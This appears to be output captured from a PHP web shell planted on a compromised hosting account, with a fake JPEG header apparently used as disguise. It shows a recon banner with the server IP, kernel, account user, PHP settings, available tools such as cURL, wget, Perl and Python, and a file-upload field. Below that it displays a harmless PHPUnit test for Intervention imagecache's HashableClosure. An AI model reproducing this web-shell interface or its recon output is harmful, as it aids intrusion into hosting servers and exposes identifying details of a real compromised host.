����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.119.110.128 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/cbt.bofirm.com/vendor/intervention/imagecache/tests/ |
Upload File : |
<?php namespace Intervention\Image\Test; use Intervention\Image\HashableClosure; use Opis\Closure\SerializableClosure; use PHPUnit\Framework\TestCase; class HashableClosureTest extends TestCase { public function testConstructor() { $hashable = new HashableClosure(function () { return 'foo'; }); $this->assertInstanceOf(HashableClosure::class, $hashable); } public function testSetGetClosure() { $hashable = new HashableClosure(function () { return 'foo'; }); $result = $hashable->setClosure(function () { return 'bar'; }); $this->assertInstanceOf(HashableClosure::class, $result); $this->assertInstanceOf(SerializableClosure::class, $hashable->getClosure()); } public function testGetHash() { $hashable1 = new HashableClosure(function ($test) { $test->set('foo'); $test->test(30); }); $hashable2 = new HashableClosure(function ($test) { $test->set('foo'); $test->test(30); }); $hashable3 = new HashableClosure(function ($test) { $test->set('foo'); $test->test(31); }); $this->assertEquals($hashable1->getHash(), $hashable2->getHash()); $this->assertNotEquals($hashable1->getHash(), $hashable3->getHash()); $this->assertNotEquals($hashable2->getHash(), $hashable3->getHash()); } }